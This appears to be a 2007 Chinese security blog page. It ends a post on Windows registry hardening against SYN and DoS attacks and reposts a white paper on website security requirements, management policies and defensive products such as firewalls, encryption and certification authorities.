"MaximumDynamicBacklog"=dword:00002e20'每次增加的自由连接数据。默认项值为5,表示定义每次增加的自由连接数目。对于网络繁忙或者易遭受SYN攻击'的系统,建议设置为10。

"DynamicBacklogGrowthDelta"=dword:0000000a

以下部分需要根据实际情况手动修改

'[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters]

'启用网卡上的安全过滤

'"EnableSecurityFilters"=dword:00000001

'

'同时打开的TCP连接数,这里可以根据情况进行控制。

'"TcpNumConnections"=

'

'该参数控制 TCP 报头表的大小限制。在有大量 RAM 的机器上,增加该设置可以提高 SYN 攻击期间的响应性能。

'"TcpMaxSendFree"=

'

'[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersInterfaces{自己的网卡接口}]

'禁止路由发现功能。ICMP路由通告报文可以被用来增加路由表纪录,可以导致攻击,所以禁止路由发现。

"PerformRouterDiscovery "=dword:00000000

写到这里,我自己都有一点晕乎乎的了。呵呵。

从提高系统安全级别对抗DoS的角度来说,上面所做的修改注册表还仅仅是其中一个很小的部分。

我还将继续整理一些资料和大家分享。当然如果大家发现文章里面存在什么错误或者有更好的一些配置方法也一定要告诉我哦。

星期四, 二月 22, 2007

网站安全体系 应用学习手册(白皮书)

网站安全体系 应用学习手册(白皮书)

作者:hacker 来源:黑色海岸线

网站安全体系

1 网络应用的信息安全 1

1.1 网络信息的安全需求 1

1.2 网络信息安全需求的层次 2

1.3 网络信息的安全威胁 3

1.4 网络信息的安全威胁评估与安全技术 3

1.5 网络应用系统的安全管理 5

2 网站的信息安全体系 5

2.1 安全策略 5

2.2 安全需求的保证 6

2.2.1 数据物理安全保证 6

2.2.2 数据机密保证 6

2.2.3 数据完整性保证 7

2.2.4 数据可控保证 7

2.2.5 数据可用保证 8

2.2.6 身份鉴别保证 8

2.2.7 数据鉴别保证 9

2.2.8 数据防抵赖保证 9

2.2.9 审计与监测保证 9

2.3 网络信息安全管理规范 9

2.3.1 总则 9

2.3.2 机房出入管理 10

2.3.3 人员管理 10

2.3.4 系统维护管理 11

2.3.5 数据备份管理 11

2.3.6 事件处理管理 12

2.3.7 数据恢复管理 12

2.3.8 安全审计管理 13

2.3.9 用户模型管理 13

2.4 安全技术和安全产品 14

2.4.1 防火墙 14

2.4.2 数据加密 15

2.4.3 病毒防治 16

2.4.4 鉴别与认证 16

2.4.5 检测和紧急响应 17

2.4.6 审计与监控 18

2.4.7 备份与恢复 19

1 网络应用的信息安全

1.1 网络信息的安全需求

在计算机网络应用系统中,对网络信息存在以下安全需求:

1) 物理安全(physical security)。为防范蓄意的和意外的威胁,而对资源提供物理保护措施。

2) 数据机密(data confidentiality)。使信息不被泄露给非授权的实体(个人或进程),并不为其所用。

3) 数据完整(data integrity)。确保数据没有遭受以非授权方式所作的篡改或破坏。

4) 数据可控(data control)。得到授权的实体可以控制其授权范围内的信息流向及行为方式。

5) 数据可用(data availability)。得到授权的实体在有效的时间内能够访问和使用其所要求的数据。

6) 身份鉴别(peer-entity authentication)。确保一个实体此时没有试图冒充别的实体,或没有试图将先前的连接作非授权地重演。

7) 数据鉴别(data origin authentication)。确保接受到的数据出自所要求的来源。

8) 防抵赖(no repudiation)。避免在一次通信中涉及到的那些实体之一不承认参加了该通信的全部或一部分。

9) 审计与监测(security audit , monitor and detection)。在一定范围内,能够对已经或者可能出现的网络安全问题提供调查的依据和手段。

即下列各项要求得到安全保护:

1) 信息与数据(包括软件,以及与安全措施有关的被动数据,例如口令)

2) 通信和数据处理服务

3) 设备与设施

1.2 网络信息安全需求的层次

在计算机网络信息系统中,安全的需求来自不同的层次:

1) 法律/行政手段的保障。需要满足:有法可依、有章可循。

2) 物理安全需求。需要满足:网络环境的规范建设;网络设备的安全设计与防护;网络媒体的安全管理。

3) 网络接入安全需求。需要满足:内外网安全隔离;内外网用户的访问控制;内部网的监控;内部网传输数据的保密与鉴别。

4) 内部网络安全需求。需要满足:内外网用户的访问控制;网内节点间的访问控制;网内的安全审计;内部网的备份与恢复。

5) 节点安全需求。需要满足:网内节点(主机/服务器)的访问控制;操作系统的访问控制和安全审计;数据库及终端信息资源的访问控制和安全审计;可靠健壮的系统运行平台;系统配置及数据的备份与恢复。

6) 业务信息安全需求。需要满足:业务资源的访问控制;业务流的完整性保护;业务数据的保密与鉴别;业务实体的身份鉴别;业务交往的防抵赖;业务现场的备份与恢复。

1.3 网络信息的安全威胁

在网络应用系统中,信息安全威胁的形式包括:

1) 对通信或其他资源的破坏。

2) 对信息的讹用或篡改。

3) 信息或其他资源的被窃、删除或丢失。

4) 信息的泄露。

5) 服务的中断。

下面简要列举在数据处理与数据通信环境中特别关心的几种攻击。

1) 冒充。就是一个实体假装成一个不同的实体。

2) 重演。当一个消息,或部分消息为了产生非授权效果而被重复时例出现重演。

3) 消息篡改。当数所传送的内容被改变而未发觉,并导致一种非授权后果时例出现消息篡改。

4) 服务拒绝。当一个实体不能执行它的正当功能,或它的动作妨碍了别的实体执行它们的正当功能的时候便发生服务拒绝。

5) 内部攻击。当系统的合法用户以非故意或非授权方式进行动作时例出现内部攻击。

6) 外部攻击。外部攻击可以使用的办法如:a.搭线(主动的与被动的);b.截取辐射;c.冒充为系统的授权用户,或冒充为系统的组成部分;d.为鉴别或访问控制机制设置旁路。

7) 陷井门。当系统的实体受到改变致使一个攻击者能对命令,或对预定的事件或事件序列产生非授权的影响时,其结果就称为陷井门。

8) 特洛伊木马。对系统而言的特洛伊木马,是指它不但具有自己的授权功能,而且还有非授权功能。

1.4 网络信息的安全威胁评估与安全技术

系统的安全特性通常会提高系统的造价,并且可能使该系统难于使用。所以,在设计一个安全系统之前,应该明确哪些具体威胁需要保护措施来对付,这叫做安全威胁的评估。

威胁评估大致来说包括:

1) 明确该系统的薄弱环节。

2) 分析利用这些薄弱环节进行威胁的可能性。

3) 评估如果每种威胁都成功所带来的后果。

4) 估计每种攻击的代价。

5) 估算出可能的应付措施的费用。

6) 选取恰当的安全机制(可能要使用价值效益分析)。

技术上要做到完全的安全保护好比要做到完全的物理保护,同样是不可能。所以,目标应该是,使攻击所花的代价足够高,从而把风险降低到可接受的程度。

1.5 网络应用系统的安全管理

网络信息的安全管理包括以下四类活动:

1) 系统安全管理。

2) 安全服务管理。

3) 安全机制管理。

4) 安全管理本身涉及信息的安全。

信息系统的安全管理部门应根据管理原则和该系统处理数据的保密性,制订相应的管理制度或采用相应的规范。具体工作是:

1) 根据工作的重要程度,确定该系统的安全等级。

2) 根据确定的安全等级,确定安全管理的范围。

3) 制订相应的机房出入管理制度。对于安全等级要求较高的系统,要实行分区控制,限制工作人员出入与己无关的区域。出入管理可采用证件识别或安装自动识别登记系统,采用磁卡、身份卡等手段,对人员进行识别、登记管理。

4) 制订严格的操作规程。操作规程要根据职责分离和多人负责的原则,各负其责,不能超越自己的管辖范围。

5) 制订完备的系统维护制度。对系统进行维护时,应采取数据保护措施,如数据备份等。维护时要首先经主管部门批准,并有安全管理人员在场,故障的原因、维护内容和维护前后的情况要详细记录。

6) 制订应急措施。要制订系统在紧急情况下,如何尽快恢复的应急措施,使损失减至最小。建立人员雇用和解聘制度,对工作调动和离职人员要及时调整相应的授权。

2 网站的信息安全体系

2.1 安全策略

安全的整个领域既复杂又广泛。任何一个相当完备的分析都将引出许许多多不同

的细节,使人望而生畏。一个恰当的安全策略应该把注意力集中到最高权力机关

认为须得注意的那些方面。

由于策略是很一般性的,因而这一策略如何与某一具体应用紧密结合,在开始是

完全不清楚的。完成这一结合的最好办法经常是让这一策略经受一个不断精确化

的改进过程,在每个阶段加进从应用中来的更多的细节。

目前,对于新建网络的网络,必须解决网络的安全保密问题,考虑技术难度及经

费等因素,设计时应遵循如下思想:

1) 保证可接受的系统安全性和保密性。

2) 保证网络运行的性能,对网络的协议和传输具有很好的透明性。

3) 易于操作、维护,并便于自动化管理。

4) 便于系统及系统功能的扩展。

5) 有较好的性能价格比。

6) 安全与密码产品具有合法性,并便于安全管理单位与密码管理单位的检查与监

督。

2.2 安全需求的保证

2.2.1 数据物理安全保证

1) “数据物理安全保证”是指:为了防范“数据的物理安全威胁”,而对“网络系统物理设备”采取“数据的物理保护措施”。

2) “数据的物理安全威胁”指:

(1) 计算机场地或机房环境的事故(包括火灾)。

(2) 计算机系统物理设备的事故(包括对设备的盗窃或毁坏、电磁信息辐射泄漏、线路截获、电磁干扰、电源失效)。

(3) 计算机系统媒体介质的事故(盗窃、毁坏、非法访问或非法复制)。

3) “网络系统的物理设备”是指:

(1) 机房场地环境

(2) 通信线路和网络设备

(3) 存储媒体

(4) 主机、服务器、终端及各类外设

4) “数据的物理保护措施”指:

(1) 符合规范的计算机场地和机房。

(2) 计算机设备置于专门的屏蔽室中。

(3) 采用光电转换接口和光缆。

(4) 采用低辐射终端设备。

(5) 采用信息扩散干扰设备。

(6) 掌握并运用与计算机安全相关的法律。

(7) 制定并遵循信息安全管理规范。

(8) 实施设备的访问控制机制。

(9) 实施数据加密机制。

5) 以如下方式来提供数据物理安全保证:

(1) 将应用服务器和数据服务器托管在规范建设和维护的机房里。

(2) 制定并遵循《信息安全管理规范》。

(3) 提供数据机密保证(参见第2.2.2条)。

2.2.2 数据机密保证

1) “数据机密保证”是指:“非预期实体”不能获取其不应获取的数据和数据服务。

2) “非预期实体”是指:在数据通信或数据访问中,不应作为参与者的人、计算机设备或计算机代码。

3) 以如下方式来提供数据机密保证:

(1) 采用加密机,使数据以密文传输。

(2) 网站有独立域名。

(3) 在网络系统的各个层次(物理设备、网络配置、操作系统、数据库、应用系

统)建立权限管理机制,对专门的网络资源定义专门的权限角色。

(4) 在网络系统的各个层次(物理设备、网络配置、操作系统、数据库、应用系统)建立身份鉴别机制,保障使用网络资源的是合法的实体(人、计算机设备或计算机代码)。

(5) 在网络系统的各个层次(物理设备、网络配置、操作系统、数据库、应用系统)建立访问控制机制,保障网络资源不被非法访问。

(6) 利用病毒防治技术。

(7) 利用网络安全审计技术和网络安全检测技术。

(8) 制定并遵循《信息安全管理规范》。

2.2.3 数据完整性保证

1) “数据完整性保证”是指:数据没有遭受“非预期行为”所作的修改。

2) “非预期行为”是指:在数据通信或数据访问中,获得数据或数据服务是非法参与者,或合法参与者实施了不合法的行为。

3) 以如下方式来提供数据完整性保证:

(1) 提供数据机密保证(参见第2.2.2条)。

(2) 利用数据校验技术,防止数据在传输过程中被篡改。

(3) 利用数字签名技术和数字时间戳技术,防止对已存档数据的篡改。

(4) 提供审计与监测保证(参见第2.2.9条)。

(5) 制定并遵循《信息安全管理规范》。

2.2.4 数据可控保证

1) “数据可控保证”是指:得到授权的实体可以控制其授权范围内的数据和数据服务。

2) 以如下方式来提供数据可控保证:

a) 在交付业务系统同时,提供建立“业务系统用户模型”的培训。

b) “业务系统用户模型”是指:开展业务时所依赖的关于业务数据的权限管理机制(角色定义表、资源权限定义表、角色资源权限矩阵)、身份鉴别机制(用户识别定义表)和访问控制机制(用户角色矩阵、用户资源权限矩阵)。

c) 在业务系统用户模型中,用户分布在不同的应用空间中,在不同的应用空间中各类用户可以拥有不同类型的权限。

d) 在业务系统用户模型中,业务数据库分为若干相对独立的部分。

e) 在未得到授权的情况下, 任何实体对业务系统用户模型不具有任何查询和修改能力。

f) 在未得到授权的情况下,任何实体对业务数据不具有任何查询和修改能力。

g) 在未得到授权的情况下,任何实体对业务数据不具有任何复制、备份、恢复、事件处理和安全审计的权利。

2.2.5 数据可用保证

1) “数据可用保证”是指:得到授权的实体在“有效的时间内”能够访问和使用其所要求的数据和数据服务。

2) “有效的时间内”是指:在固定的时间区域内系统失效的次数和每次失效的持续时间被控制在一个固定的阀值内。

3) 以如下方式来提供数据可用保证:

(1) 可靠的硬件/软件选型。

(2) 建立有独立域名的Web站点。

(3) 正确可靠的节点参数配置(主机、服务器、终端及各类外设)。

(4) 正确可靠的平台参数配置(操作系统、数据库管理系统、系统工具)。

(5) 专业的系统安装与维护人员。

(6) 对应用服务器和数据服务器进行双机备份。

(7) 数据中心在业务部门的协作下规范实施事件处理和数据恢复。

(8) 利用病毒防治技术,防止病毒对系统的攻击。

(9) 利用防火墙技术,防止入侵者对系统的攻击。

(10) 利用网络安全审计技术和网络安全检测技术,发现系统异常情况,同时防止

入侵者对系统的攻击。

(11) 制定并遵循《信息安全管理规范》,确保安全审计、数据备份、事件处理和数据恢复能被规范实施。

2.2.6 身份鉴别保证

1) “身份鉴别保证”是指:确保一个实体此时没有试图冒充别的实体,或没有试图将先前的连接作非授权地重演。

2) 以如下方式来提供身份鉴别保证:

(1) 在网络系统的各个层次(物理设备、网络配置、操作系统、数据库、应用系统)建立用户识别定义表,检查使用网络资源的实体的合法性。

(2) 利用防火墙技术,实现网络节点的身份鉴别,限制信息往来地址,防止网络地址的假冒。

(3) 业务系统用户模型保障:只有被授权的合法用户才能使用业务系统功能和访问业务数据;任何用户只能访问其授权范围的业务资源。

(4) 利用数字凭证技术来标识各业务部门。

(5) 各业务部门之间进行双向身份鉴别。

(6) 制定并遵循《信息安全管理规范》,确保业务资源只能被授权者访问和使用。

2.2.7 数据鉴别保证

1) “数据鉴别保证”是指:确保接受到的数据出自所要求的来源。

2) 以如下方式来提供数据鉴别保证:

(1) 实现身份鉴别保证(参见2.2.6条)和数据完整性保证(参见2.2.3条)。

(2) 利用数字签名技术来标识数据的来源。

2.2.8 数据防抵赖保证

1) “数据防抵赖保证”是指:避免在一次数据通信或数据访问中涉及到的那些实体之一不承认参加了该数据通信或数据访问的全部或一部分。

2) 以如下方式来提供数据防抵赖保证:

(1) 实现数据鉴别保证(参见2.2.7条)和数据完整性保证(参见2.2.3条)。

(2) 实现审计与监测保证(参见2.2.9条)。

(3) 制定并遵循《信息安全管理规范》。

2.2.9 审计与监测保证

1) “审计与监测保证”是指:主动检查网络系统的运行情况和使用情况,以期考评系统的安全性能和发现系统的异常状态。

2) 以如下方式来提供审计与监测保证:

(1) 实施安全审计:记录网络运行日志、操作系统运行日志、数据库访问日志、业务应用系统运行日志,并定期给出安全审计报告。

(2) 利用网络安全检测技术,定期扫描分析网络系统,检查报告系统存在的弱点和漏洞。

(3) 制定并遵循《信息安全管理规范》,确保规范实施安全审计工作。

2.3 网络信息安全管理规范

2.3.1 总则

1) 信息安全管理的总体原则是“没有明确表述为允许的都被认为是被禁止的”。

2) 信息安全管理将不同层次(网络、操作系统、数据库管理系统、应用系统)上进行。

3) 信息安全管理由专门的信息安全管理部门来负责。

4) 信息安全管理规范包括:

(1) 机房出入管理

(2) 人员管理

(3) 系统维护管理

(4) 数据备份管理

(5) 事件处理管理

(6) 数据恢复管理

(7) 安全审计管理

(8) 用户模型管理

2.3.2 机房出入管理

1) 必须对出入机房的人员进行身份鉴别(如佩带机房出入证或安装自动识别系统)。

2) 必须登记出入机房的情况,《机房出入记录》包括:身份标识(如名称或卡号)、进入时间、离开时间、进入事由、违规记录。

2.3.3 人员管理

在以下活动中,需要定义专门的岗位:

1) 访问控制使用证件的发放与回收。

2) 信息处理系统使用的媒介发放与回收。

3) 处理保密信息。

4) 硬件和软件的维护。

5) 系统软件的设计、实现和修改。

6) 重要程序和数据的删除和销毁等。

在人员定岗时可以采用以下原则:

1) 多人负责原则。每一项与安全有关的活动,都必须有两人或多人在场。这些人应是系统主管领导指派的,他们忠诚可靠,能胜任此项工作;他们应该签署工作情况记录以证明安全工作已得到保障。

2) 任期有限原则。任何人不长期担任与安全有关的职务,以免使他认为这个职务是专有的或永久性的。为遵循任期有限原则,工作人员应不定期地循环任职,强制实行休假制度,并规定对工作人员进行轮流培训,以使任期有限制度切实可行。

3) 职责分离原则。在信息处理系统工作的人员不要打听、了解或参与职责以外的任何与安全有关的事情,除非系统主管领导批准。

4) 权限随岗原则。根据岗位变动情况及时调整相应的授权,做到:在岗有权、离岗失权。

5) 应编制《安全岗位定义表》,给出:岗位名称、负责对象、工作内容、岗位权限、任期限制、上级岗位名称。

6) 应编制《安全岗位分配表》,给出:岗位名称、人员名称、到岗时间、离岗时间、任命者、任命原因、在岗表现。

7) 《安全岗位定义表》和《安全岗位分配表》属于保密内容,由安全管理的主管人员维护和保管。

出于对安全的考虑,下面每组内的两项信息处理工作应当由不同的人来负责:

1) 计算机操作与计算机编程。

2) 机密资料的接收和传送。

3) 安全管理和系统管理。

4) 应用程序和系统程序的编制。

5) 访问证件的管理与其它工作。

6) 计算机操作与信息处理系统使用媒介的保管等。

2.3.4 系统维护管理

系统维护是对系统配置进行修改或升级的过程。

系统配置包括:

1) 网络的拓朴、构件、布线和参数。

2) 主机、服务器、终端及各类外设的构件和参数。

3) 操作系统、编译系统、数据库管理系统、系统工具的选件与参数。

4) 业务应用系统的选件与参数。

对系统进行维护时,应遵守以下原则:

1) 针对不同配置(网络、节点、操作系统、数据库、业务应用)的维护工作分别

设立不同的岗位。

2) 维护时要首先经主管部门批准,并有安全管理人员在场。

3) 维护前应采取数据保护措施,如数据备份。

4) 在《系统维护记录》中给出:维护原因、维护的内容、维护前系统情况、维护后系统情况、维护起止时间、维护者、批准者。

2.3.5 数据备份管理

数据中心定期定时备份业务现场:

1) 对数据备份及其存储介质的保管设立专门的岗位。

2) 数据备份方式为:场地内增量式冷备份。

3) 数据备份周期取决于:业务数据的流量和业务数据的重要性,因此将随系统运

行情况灵活调整数据备份周期。

4) 数据备份周期为:每月执行一次完全备份,每周执行一次差分备份,每天执行一次增量备份。

5) 对保存数据备份的存储介质(磁盘/磁带/光盘/硬盘),应统一编码,并存放在专门的保密箱/柜中。

6) 在《数据备份记录》中给出:备份方式、备份内容、原数据的存储路径、备份数据存储介质的标识、备份起止时间、备份者。

2.3.6 事件处理管理

事件处理指:当业务系统的运行平台发生故障或遭受攻击时,为保障业务系统能够处于正常状态,数据中心与业务部门按照约定方式采取相应措施。

为了能及时处理事件,应遵循以下原则:

1) 数据中心和业务部门均设立专门岗位来负责事件处理。双方应保证能够随时(24小时*7日)建立联络,以确保对事件的快速响应能力。

2) 数据中心和业务部门双方共同建立和维护《事件处理岗位定义表》,其中定义以下内容:人员所在方、人员名称、岗位责任、到岗时间、离岗时间、电话、手机、呼机、传真、电子邮箱。双方应将本方变更情况及时通知给对方。所有变更情况都应被保存。

3) 数据中心应能及时感知并记录事件的现场情况,在《事件状态记录》上给出以下内容:发现时间、发现地点、发现者、系统异常状态、记录时间、记录者。

4) 在发现业务中断或业务流程不畅时,业务部门应及时向数据中心发出《事件状态记录》,描述现场情况。

5) 数据中心应及时判断事件原因,并采取措施以使业务处理尽快恢复正常运行。在《事件处理记录》中给出:事件性质(故障、破坏、误操作)、涉及的系统组成(硬件/操作系统/数据库/业务系统/人员)、处理结果、处理起止时间、处理者、记录时间、记录者。

6) 数据中心在需要中断业务、备份特定业务现场或恢复业务现场时,应首先通知相应的业务部门,并等待业务部门认可后方可实施。

7) 数据中心和业务部门在联络时,应进行双向身份鉴别。

8) 数据中心和业务部门的所有联络内容均应有正式存储记录(电话录音、文件/文档、传真、电子邮件等),同时应保证这些记录不被篡改。

2.3.7 数据恢复管理

数据中心在恢复业务现场时,应遵循以下原则:

1) 对数据恢复设立专门的岗位,亦可与数据备份岗位合并。

2) 数据恢复时要首先经主管部门批准,并有安全管理人员在场。

3) 数据恢复前应通知相应业务部门的事件处理人员。

4) 若需要业务部门参与(如模拟重演某个时段的业务处理),则数据中心应为相应的业务部门提供详细的操作流程,双方协同完成数据恢复。

5) 在《数据恢复记录》中给出:恢复原因、恢复内容、原数据的存储路径、备份数据存储介质的标识、恢复起止时间、恢复者、批准者。

2.3.8 安全审计管理

安全审计的内容包括:

1) 网络运行日志

2) 操作系统运行日志

3) 数据库访问日志

4) 业务应用系统运行日志

对安全审计进行如下管理:

1) 针对不同内容(网络、操作系统、数据库、业务应用)的安全审计工作分别设

立不同的岗位。

2) 按需要选择将被记录和被远程收集的访问行为或执行行为。

3) 按需要授予或取消对所选行为进行审计跟踪日志记录的能力。

4) 给出《安全审计记录》,详细给出访问行为或执行行为的:起止时间、对象(IP地址、执行单位或数据单位)、实体(用户或进程)、实体所在IP地址、操作、结果。

5) 当日志超过设定的统计阀值(依据时间或容量)时,统计出《安全审计报告》。《安全审计报告》可以依据不同的字段(时间、对象、实体)来生成。

6) 当日志超过设定的卸出阀值(依据时间或容量)时,卸出当前《安全审计记录》,创建新的《安全审计记录》。

7) 安全审计的内容应放在专门的安全审计存储区中。在安全审计存储区中,分为网络目录、操作系统目录、数据库目录和应用系统目录,每个目录有分为安全审计记录和安全审计报告两个子目录。

8) 《安全审计记录》和《安全审计报告》应遵循一致的文件命名规则,文件名应能反映出文件形成的性质。

9) 在分析《安全审计记录》或《安全审计报告》时,若发现正在、可能或已经危害到系统安全的行为,则应及时报告安全管理的主管人员。

10) 《安全审计记录》和《安全审计报告》应该加密存储,并且设置访问权限,确认只有授权的管理人员才可能访问它们。

2.3.9 用户模型管理

“用户模型”是指:关于某类(或某个)资源的权限管理机制(角色、资源、权限的关联)、身份鉴别机制(用户识别、鉴别标识的关联)和访问控制机制(用户、角色、资源、权限的关联)。在网络应用系统中,可以建立各级不同网络资源(网络设备、节点设备、操作系统、系统工具、数据库管理系统、业务系统)的用户模型。用户模型是概念上的、逻辑上的信息集合,其中的各种内容可以表现为:文档、数据表、数据、或隐含于系统部件中的规则和约束。

为了明确表达一个资源的用户模型,可以使用以下表格:

1) 《角色定义表》,定义:角色标识、角色名、角色等级、角色描述。

2) 《资源定义表》,定义:资源标识、资源名、资源描述。

3) 《权限定义表》,定义:权限标识、权限名、权限描述。

4) 《角色资源权限矩阵》,定义:角色标识、资源标识、权限标识。

5) 《用户定义表》,定义:用户标识,用户名、用户描述。

6) 《用户识别定义表》,定义:用户标识、鉴别标识。

7) 《用户角色矩阵》,定义:用户标识、角色标识。

8) 《用户资源权限矩阵》,定义:用户标识、资源标识、权限标识。

需要说明的是,用户模型中的大部分内容应由特定的人员来制定和维护、并按特定的保密等级来保存和管理。

2.4 安全技术和安全产品

2.4.1 防火墙

防火墙可以被设置在不同网络(如可信任的企业内部网和不可信的公共网)或网络安全域之间。它是不同网络或网络安全域之间信息的唯一出入口,能根据企业的安全政策控制(允许、拒绝、监测)出入网络的信息流,且本身具有较强的抗攻击能力。它是提供信息安全服务,实现网络和信息安全的基础设施。

防火墙可以提供如下能力:

1) 过滤进出网络的数据

2) 管理进出网络的访问行为

3) 封堵禁止的业务

4) 应用代理

5) 防止IP欺骗

6) 截断攻击

7) 三端口应用(DMZ)

8) 虚拟专用网(VPN)

9) 地址转换(NAT)

10) 负载均衡

11) 计费

12) 透明接入

13) 流量统计与控制

14) 实时监控

15) 审计与日志

16) 检测与告警

17) 安全管理(包括远程安全管理)

选择防火墙产品可以考虑以下因素:

1) 能否满足功能需求

2) 能否满足性能需求

3) 价格(注意是否有点数限制)

4) 能否方便配置和管理

5) 是否有健全的状态监视手段(日志、报警)

6) 防火墙自身是否安全

国内较著名防火墙产品包括:

天融信的“网络卫士NG-FW” http://www.talentit.com.cn

东方龙马的“东方龙马OLM” http://www.olm.com.cn/

中科网威的“长城NetPower” http://www.netpower.com.cn

清华得实的“WebST” http://www.th-dascom.com.cn/

天网的“天网” http://sky.net.cn

国外较著名防火墙产品包括:

NetScreen的“NetScreen” http://www.ns100.com.cn

CheckPoint的"FireWall-1" http://www.checkpoint.com.cn

Cisco的“PIX” http://www.cisco.com.cn

CA的“eTrust” http://www.cai.com.cn

以下网址有以上产品的白皮书,可以作为参考:http://www.nsfocus.com

2.4.2 数据加密

对传输中的数据流加密,用来防止通信线路上的窃听、泄漏、篡改和破坏。如果以加密实现的通信层次来区分,加密可以在通信的三个不同层次来实现,即链路加密(位于OSI网络层以下的加密),节点加密,端到端加密(传输前对文件加密,位于OSI网络层以上的加密)。专门的加密机可以在链路层和IP层实现硬件加密,但只适用于通信双方都使用加密机的情况。若要在互连网上实现广泛的信息交流,端到端的加密或许是当前最可行的办法。为了实现端到端的加密,也需要通信双方使用遵循相同加密协议的工具。

网络上传输的信息包括访问控制信息和数据。TCP/IP协议本身没有加密的特性,访问控制信息和数据均被明文传输,使用网络嗅探器(sniffer)可以查看到一个网段内大量敏感信息,如e-mail、FTP和telnet的登录名和口令,以及通信过程中的所有内容。

端对端的加密工具可以提供以下能力:

1) 安全登录,使访问控制信息不能被解读

2) 加密被传输的数据密码的使用涉及到法律允许的问题,一些加密算法被美国政府限制出口。SSL协议被用来加密和认证网络服务,如在WWW服务器端设置支持SSL,客户端的浏览器也支持SSL(IE和Netscape的较新版本),则WEB应用就可以实现远程安全登录和安全数据传输了。SSH协议被用来实现telnet的加密访问。利用SSH工具(如SecureCRT)可以实现FTP的加密访问。

目前,一个信息加密工具“PGPi”被广泛使用,使用它的好处在于:

1) 免费的代码

2) 完全开放的源代码,经多年使用,未发现后门

3) 先进的加密算法和实现技术

4) 不受美国出口限制(加密位数是1024-4096)

5) 多平台版本

6) 使用简便,支持命令行管理和窗口管理

7) 无须向任何人申请任何东西,即可建立自己的密钥中心目前PGPi版本(http://www.phpi.org V6.2.8)的功能包括:

1) 密钥的创建和管理

2) 窗口信息(包括e-mail)加密与签名

3) 文件的加密与签名

4) 文件的传统加密和归档

5) 文件和磁盘的安全清除

密码机制的存在意味着使用密钥管理,密钥管理包括:

1) 间歇性地产生与所要求的安全级别相称的合适密钥

2) 根据访问控制的要求,对于每个密钥决定哪个实体应该接受密钥的拷贝。

3) 用可靠办法使这些密钥对开放系统中的实体实例是可用的,或将这些密钥分配给它们。

2.4.3 病毒防治

病毒防治技术包括预防病毒、检测病毒和消毒三种技术:

1) 预防病毒技术。它通过自身常驻系统内存,优先获得系统的控制权,监视和判断系统中是否有病毒存在,进而阻止计算机病毒进入计算机系统和对系统进行破坏。这类技术有:加密可执行程序、引导区保护、系统监控与读写控制(如防病毒卡等)。

2) 检测病毒技术。通过对计算机病毒的特征来进行判断的技术,如自身校验、关键字、文件长度的变化等。

3) 消毒技术。通过对计算机病毒的分析,开发出具有删除病毒程序并恢复原文件的软件。网络病毒防治技术的具体实现方法包括:对网络服务器中的文件进行频繁地扫描和监测;在工作站上用防病毒芯片和对网络目录及文件设置访问权限等。

2.4.4 鉴别与认证

鉴别与认证技术是为了实现以下目的:

1) 身份鉴别。通常有三种方法验证主体身份:只有该主体了解的秘密,如口令、密钥。口令是相互约定的代码,假设只有用户和系统知道;主体携带的物品,如智能卡和令牌卡;只有该主体具有的独一无二的特征或能力,如指纹、声音、视网膜或签字等。

2) 数据完整性控制。可是采用以下措施:报文鉴别、校验和、密校验和、消息完整性编码(消息摘要)。

3) 防抵赖。包括对源和目的地双方的证明,常用方法是数字签名。数字签名采用一定的数据交换协议,使得通信双方能够满足两个条件:接收方能够鉴别发送方所宣称的身份,发送方以后不能否认他发送过数据这一事实。

使用PGPi工具也可以实现鉴别和认证的目的:

1) 用户用自己的私钥对信息进行签名,做到“防假冒”

2) 工具生成信息摘要,做到“防篡改”

3) 实现签名和信息摘要,即做到“防抵赖”

更完善的鉴别和认证需要建立公证机制。两个或多个实体之间通信的数据的性质,如它的完整性、原发、时间和目的地等,能够借助公证机制而得到确保。这种保证是由第三方公证人提供的。公证人被通信实体所信任,并掌握必要信息,以一种可证实方式提供实体所需的保证。通信事例可使用数字签名、加密和完整性机制,以适应公证人提供的此种服务。坚强可信的公证机制是电子商务应用的核心技术之一。典型的公证机制即所谓CA系统,提供的服务有:签发证书、修改和吊销证书、证书查询、存储/备份证书、对证书进行监察和审计。

证书的类型包括:个人证书、服务器证书、开发者证书。

较有名的CA类站点包括:

国富安电子商务认证中心 http://www.cacenter.com.cn

VeriSign公司 http://www.verisign.com

2.4.5 检测和紧急响应

网络系统的安全性取决于网络系统中最薄弱的环节。如何及时发现网络系统中最薄弱的环节?如何最大限度地保证网络系统的安全?最有效的方法是定期对网络系统进行安全性分析,及时发现并修正存在的弱点和漏洞。

网络安全检测工具通常是一个网络安全性评估分析软件,其功能是用实践性的方法扫描分析网络系统,检查报告系统存在的弱点和漏洞,建议补求措施和安全策略,达到增强网络安全性的目的。当然,网络安全检测工具同时又是破坏者手中的探测器。

网络安全检测的内容包括:

1) 系统入侵检测(系统帐户、系统日志、后门进程、木马程序、本地溢出程序、信任主机、攻击来源)

2) 用户安全检测(控制台安全、用户口令安全、用户文件及目录许可权限安全)

3) 操作系统安全检测(系统日志/审计策略、受信主机安全、安全终端设置、系统文件完整性及存取许可安全、SUID/SGID许可程序安全)

4) 网络服务检测(HTTP服务安全、DNS服务安全、网络文件系统NFS安全、Telnet服务安全、FTP服务安全、SMTP服务安全、POP服务安全、Finger服务安全、X window系统安全、RPC服务安全、Wins服务安全、共享服务安全、Proxy服务安全)

5) 系统程序安全检测(后门程序检测、危险程序访问权限)安全检测完毕需要:弥补漏洞、总结安全检测报告。

当主机或网络正遭到攻击或发现入侵成功的痕迹,应当实施紧急响应措施,其过程为:

1) 发现并解决问题

2) 保存可能的记录证据

3) 追查问题来源

4) 总结紧急响应报告

安全检测和紧急响应都需要:

1) 雇佣专业的安全管理人员进行方案的设计和实施。

2) 安全管理人员还要实时追踪网络应用各个环节的最新安全通报。一般的公司/企业/机构是无法做到这一点的。因此一般的做法是与专业的网络安全公司签定安全服务的合同。

目前较有名的网络安全公司有:

中联绿盟 http://www.nsfocus.com

东方龙马安全响应中心 http://www.cns911.com

网络安全评估中心 http://www.cnns.net

天网安全阵线 http://sky.net.cn

网安 http://www.weguardnet.com

中国计算机安全 http://www1.infosec.org.cn

2.4.6 审计与监控

审计是记录用户使用计算机网络系统进行所有活动的过程,它是提高安全性的重要工具。安全审计跟踪机制的价值在于:经过事后的安全审计可以检测和调查安全的漏洞:

1) 它不仅能够识别谁访问了系统,还能指出系统正被怎样地使用。

2) 对于确定是否有网络攻击的情况,审计信息对于确定问题和攻击源很重要。

